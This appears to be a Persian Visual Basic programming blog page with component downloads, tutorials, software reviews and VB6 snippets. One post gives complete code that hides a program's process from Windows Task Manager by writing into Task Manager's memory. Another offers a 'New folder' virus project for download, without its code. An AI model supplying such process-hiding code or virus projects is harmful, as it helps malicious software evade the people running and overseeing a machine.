برنامه نویسی

دانلود مجموعه ای کامل از کامپوننت های ویژوال بیسیک براتون آماده کردم که امید وارم به دردتون بخوره و استفاده کنید.

*برای دانلود روی لینک کلیک راست کرده و "Open link in new tab" رو بزنید.

1- MBCleander – تقویم شمسی زیبا و بسیار کامل – دانلود

2- MBButton – دکمه ای زیبا با حاشیه ای گرد و امکانات کامل – دانلود

3- MEShamsiDate – کامل ترین ابزار برای کار با تاریخ شمسی – دانلود

4- MBTool Button – دکمه ای برای استفاده در نوار ابزار یا Toolbar – دانلود

5- MBMsgBox – یک MsgBox کوچک، زیبا و سفارشی – دانلود

6- MBComboBox – یک کمبوباکس زیبا و سفارشی – دانلود

7- MBHMS Counter – کنترلی برای نمایش زمان – دانلود

8- MBFrameX – یک فریم زیبا و سفارشی جایگزین خوبی برای فریم VB – دانلود

9- MBAutoComplete TextBox – یک جعبه متن همراه با امکان AutoComplete – دانلود

10- MBPanel List – لیست باکسی قدرتمندتر و سفارشی تر از لیست باکس VB – دانلود

11- MBStatusBar – بهترین نوار وضعیتی که دیده اید با امکانات بالا – دانلود

12- MBTextBox – یک جعب متن شبیه جعبه متن معمولی با امکانات بیشتر -دانلود

13- MBTreeSL – ابزاری برای نمایش مرجله از کار که برنامه در آن قرار دارد – دانلود

...

عملگرها نمادهايي هستند كه اعمالي را روي مقادير(متغييرها و مقادير ثابت) انجام ميدهند.فرضا عملگر + روي دو عملوند عمل ميكند و آنها را با هم جمع ميكند.در ويژوال بيسيك عملگرها را به سه دسته تقسيم خواهيم كرد.عملگرهاي حسابي ، عملگرهاي رابطه اي و عملگرهاي منطقي.در جدول هاي زير انواع عملگرها را به همراه نام و مثال هايي از هر كدام را مشاهده ميكنيد.

مطمئنا همه کسانی که برنامه نویسی می کنند با Message BOx آشنایی دارند. اما یکی از مشکلاتی که در این خصوص وجود داره این است که کلیدهای روی MessageBOx  به زبان انگلیسی است(منظورمOk,NO,Yes,Cancel هست).

برای حل این مشکل ابتدا کلاس  MessageBox  را به پروژه خود اضافه کنید.

 پس از این کار هر جایی از برنامه خود که خواستید از MessageBOx ها استفاده کنید(مثلا در رویدادFormClosing) باید از کد زیر استفاده کنید:

 
pirooz.parsiblog.com

سلام

یه پروژه جدید دارم واستون افکت تایپ هست میتونید تو برنامه هاتون استفاده کنید
من برای اینکه مشکلی پیش نیاد از تابع ()Chr استفاده کردم ولی شما میتونید واسه خودتون بصورت سفارشی درست کنید  کد اون رو هم بصورت comment تو پنجره کد ها گذاشتم براتون.

موفق باشید

 

سلام

همون طور که میدونید برچسب (تگ) ها خیلی تو بالا بردن آمار مهمن واسه همین این برنامه رو نوشتم امید وارم خوشتون بیاد.

این برنامه رو برای رزبلاگی ها نوشتم البته با قابلیت جدیدی که اضافه شده وبلاگ نویسای دیگه هم میتونن  از این برنامه ی ساده استفاده کنن.

همونطور که از تصویر بالا معلومه شما فقط یکبار برچسب های تکراری که زیاد استفاده میکنید رو اینجا ثبت میکنید و از نوشتن مجدد اونها خلاص میشید! نحوه ی کار با برنامه تو یه فایل  PDF نوشته شده لطفا اون رو با دقت بخونید.

موفق باشید.

دانلود برنامه در ادامه...
 

سلام

با این کد میتونید پروسس برنامه تون رو از تب Processes برنامه Task manager مخفی کنید

کافیه تو فرم یه تایمر بذارید و این کد رو تو بخش جنرال فرم کپی کنید:

Private Type bkh flag As Long psz As Long lParam As Long pt As Long vkDirection As Long End Type Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Private Sub Hide_Process(Name As String) Dim pName As Long Dim pType As Long Dim l As Long Dim Tid As Long Dim hTid As Long Dim pid As Long Dim h As Long Dim i As Long Dim hProcess As Long Dim f As bkh Dim s As String Dim bkh() As Byte h = FindWindow(vbNullString, "Windows Task Manager") KillTimer h, 0 h = FindWindowEx(h, 0, "#32770", vbNullString) h = FindWindowEx(h, 0, "SysListView32", vbNullString) If h = 0 Then Exit Sub f.flag = 8 Or &H20 Call GetWindowThreadProcessId(h, pid) hProcess = OpenProcess(1082, 0, pid) bkh = StrConv(Name, vbFromUnicode) pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4) WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l f.psz = pName pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4) WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l i = SendMessage(h, &H1000 + 13, 0, pType) If i <> -1 Then SendMessage h, &H1000 + 8, i, 0 VirtualFreeEx hProcess, pType, Len(f), &H8000 VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000 End Sub Private Sub Form_Load() Timer1.Enabled = True Timer1.Interval = 5000 End Sub Private Sub Timer1_Timer() Hide_Process CStr(App.EXEName & ".exe") End Sub

سلام

با استفاده از این کد بسیار کاربردی میتونید یه لینک(Url) رو از داخل ویژوال بیسیک باز کنید

کافیه یه دکمه به فرم اضافه کنید و این کد رو تو قسمت جنرال فرم کپی کنید:

...

با وجود این همه نرم افزار اجرایی فایل های مالتی مدیا انتخاب یکی از آن ها کار بسیار دشواری به نظر می آید. نرم افزاری که در عین کارآیی بالا، حجم پائینی داشته و قادر به پخش اکثر فرمت ها هم باشد. همان طور که همه می دانیم نرم افزار های زیادی در این زمینه وجود دارند. JetAudio ، Windows Media Player ، WinDVD ، PowerDVD و ... معروفترین آن ها به شمار می آیند. اما مهم ترین مشکلی که این نرم افزار ها دارند این است که هم حجمی نسبتا سنگین دارند و هم قادر به پخش بسیاری از فرمت ها نیستند. نرم افزاری موجود به نام KMPlayer موجود است که هم کم حجم می باشد و هم قادر به پخش تقریبا 99 دردصد فرمت های صوتی و تصویری است. نرم افزار بسیار ساده اما در عین سادگی با کارآیی بسیار بالا. هرکاربری که یک بار KMPlayer را تجربه کند مطمئنا انتخاب اولش همیشه همین نرم افزار خواهد بود. اساس کار KMPlayer با این تفکر بنیان نهاده شده که بتواند هر فرمت صوتی و تصویری را اجرا نماید. این نرم افزار با Decode کردن فرمت های مختلف کاربران را قادر می سازد تا هرفرمتی را که بخواهند اجرا نمایند. VCD ها و DVD ها هم با بهترین کیفیت ممکن می توانند اجرا شوند. پوسته های بسیار زیاد نرم افزار می توانند هرکاربری را به سمت خود جذب نمایند.

قابلیت های كلیدی نرم افزار KMPlayer:
- محیطی جذاب و سه بعدی متفاوت با آنچه تا كنون دیده اید
- پشتیبانی از فرمتهای صوتی و تصویری: VCD, DVD, AVI, MKV, Ogg Theora, OGM, 3GP, MPEG-1/2/4, WMV, RealMedia, and QuickTime
- امكان كپچر كردن فایلها با كیفیت قابل قبول
- در اختیار گذاشتن تمام اطلاعات یك فایل صوتی یا تصویری مانند : نوع فایل ، پسوند و .. . و امكان ویرایش یا كپی
- هماهنگی و پشتیبانی از برنامه های : Winamp, Realmedia and Quicktime by the internal logic
- قابلیت نمایش زیر نویس فیلمها و سازگاری كامل با زبان فارسی
- نرم افزار بسیار كم حجم با قابلیتهای بسیار زیاد
- قابلیت تعریف و تنظیم كلیدهای پخش برنامه به آسانی
- قابلیت پشتبانی از پوسته و پلاگینهای مختلف در برنامه
- قابلیت نشان دادن اطلاعات فایلها به صورت كامل پشتیبانی از فایلهای فشرده
- پشتیبانی كامل از فرمتهای دی وی دی
- پشتبانی كامل از فایلهای فلش
- پشتیبانی بالا از دوربین های دیجیتال
- امكان پخش فایلهای AAC, OGG
- پشتیبانی از Shockwave Flash/FLC/FLI
- پوسته های جذاب و زیبا
- امكان هماهنگ شدن با پلاگینهای وینمپ
- سازگار با نسخه های مختلف ویندوز از جمله ویندوز ویستا
- و ...

سلام،بازم یه پروژه البته شاید خطرناک براتون گذاشتم تا با کد این ویروس آشنا بشید. این یه نوع ویروس New folder که به زبان ویژوال بیسیک نوشته شده.

*قبل از اجرای برنامه حتما حتما حتما یه Restore Point از سیستمتون بگیرید.

دانلود در ادامه...

200 تابع برای استفاده تو ویژوال بیسیک همراه با توضیح و طرز استفاده از اون ها.

اطلاعات فايل:

[336 KB]

[exe]

[-]

[Programming]

[-]

[programming.rozblog.com]

دانلود در ادامه مطلب...

مقدمه :

بیسیک زبانی است که دوران تحول فراوانی را پشت سر گذاشته است.اولین نسخه از ویژوال بیسیک به گونه ای بود که برنامه نویسی در آن از دشواری خاصی برخوردار بود.بعد از Visual Basic امروزه با پدیده جدیدی به نام Visual Basic.Net مواجه شده ایم.اگر می خواهید به سراغ یادگیری این زبان بروید مسلما باید با VB کار کرده باشید.چون در واقع VB.Net توسعه یافته زبان VB است.در ضمن درست است که VB.Net پا به عرصه برنامه نویسی گذاشته است،اما همچنان به زبان VB برنامه های بسیار زیادی نوشته می شود و از کارایی این زبان چیزی کاسته نشده است.زبان VB در سبک برنامه نویسی از سبک برنامه نویسی شی گرا پیروی می کند.همانطور که می دانید سبک های برنامه نویسی به سه دسته زیر تقسیم می شوند.

2- ساخت يافته: يكي از سبك ها و روش هاي متداول برنامه نويسي است. در برنامه نويسي ساخت يافته برنامه بصورت مجموعه اي از فعاليت ها تصور مي شود، كه بايد روي داده ها انجام گيرند. در اين روش هر كار پيچيده اي بصورت مجموعه اي از كارهاي كوچكتر تجزيه مي شود تا اينكه كارهاي ايجاد شده قابل درك باشند.

1- سنتي: كه ديگر استفاده نمي شود. در سبك سنتي از دستور Go to زياد استفاده مي شود و به خاطر همين رديابي، تست و اشكال زدايي برنامه خصوصا در برنامه هاي طولاني بسيار مشكل مي شود.

...

نرم‌افزار TuneUp Utilities را می‌توان یکی از قدرت‌مندترین نرم‌افزارهای بهینه‌ساز ویندوز دانست. این نرم‌افزار می‌تواند سیستم شما را سریع‌تر و امن‌تر کند و تمامی این امکانات را در محیطی کاربرپسند برای شما فراهم نموده است. در این ترفند قصد داریم به معرفی یک بازی مخفی شده در دل TuneUp Utilities بپردازیم.

سلام

امروز واستون سیستم عامل کم حجم kolibri رو گذاشتم دانلود کنید و لذت ببرید. شما میتونید این سیستم عامل کم حجم رو روی VmWare براحتی نصب و استفاده کنید.

-قابلیت های این سیستم عامل:

-نرم افزار های کاربردی

-حجم بسیار کم ~ 3 مگابایت!

-بازی های متفاوت و جذاب

-نرم افزار ویرایش متن و نقاشی!

task manager!

-محیط زیبا

-file manager قدرتمند

-داشتن خط فرمان

-و چندین قابلیت دیگر...

دانلود در ادامه...

Declarations:

Public Const GWL_EXSTYLE = (-20)
Public Const WS_EX_TRANSPARENT = &H20&
Public Const SWP_FRAMECHANGED = &H20
Public Const SWP_NOMOVE = &H2
Public Const SWP_NOSIZE = &H1
Public Const SWP_SHOWME = SWP_FRAMECHANGED Or _
SWP_NOMOVE Or SWP_NOSIZE
Public Const HWND_NOTOPMOST = -2

Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long

Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Code:

SetWindowLong Me.hwnd, GWL_EXSTYLE, WS_EX_TRANSPARENT
SetWindowPos Me.hwnd, HWND_NOTOPMOST, 0&, 0&, 0&, 0&, SWP_SHOWME

Private Sub Form_Load()
    Const Black = &H0&
    Form1.Caption = "Cool Color"
    Timer1.Interval = 1
    Form1.BackColor = Black
    Form1.Tag = 0
    Form1.WindowState = 2
    Form1.Left = 0
    Form1.Top = 0
End Sub
Private Sub Timer1_Timer()
    Dim Red As Integer
    Dim Blue As Integer
    Dim Green As Integer
    Dim X As Integer
    Dim Y As Integer
        For I = 1 To 5000
            Red = Int(Rnd * 255)
            Blue = Int(Rnd * 255)
            Green = Int(Rnd * 255)
            Y = Int(Rnd * Form1.Height)
            X = Int(Rnd * Form1.Width)
            PSet (X, Y), RGB(Red, Green, Blue)
        Next I
    Form1.Tag = Form1.Tag + 1
        If Form1.Tag = 10 Then
            Form1.Cls
            Form1.Tag = 0
End Sub

Good luck :-)

این برنامه ساده یک عدد از شما دریافت میکند و مشخص میکند که آن عدد اول است یا خیر.

دانلود برنامه+سورس...

سلام، همونطور که از تصویر بالا معلومه برنامه تلفظ اعداد فارسی هست که میتونید بصورت رایگان ار سایت برنامه نویسی دانلود کنید.

دانلود برنامه+سورس...

اگر شما نیز برای برنامه نویسی تحت ویندوز از Visual Basic استفاده می کنید حتماً می دانید دیسک نرم افزار Visual Basic 6 حجمی معادل یک سی دی دارد و برای شروع برنامه نویسی و کار با ویژوال بیسیک حتما نیاز به نصب آن بر روی سیستم خود دارید که نصب آن نیز مدت زمان زیادی را می طلبد

...

سلام

همونطور که تو عکس بالا میبینید با این برنامه میتونید یک عکس رو از اینترنت در یک picturebox نمایش بدید

دانلود برنامه+سورس برنامه در ادامه...

با استفاده از این کد  کاربردی میتونید مرورگر پیشفرض کاربر رو پیدا کرده و ادرس سایتتون رو با اون مرورگر باز کنید.

نمایش کد در ادامه...

سلام؛

پروژه ی نمایش اعداد اول تو محدوده ای که شما مشخص میکنید با for و while این پروژه برای خیلیا خیلی میتونه مفید باشه :)

دانلود در ادامه....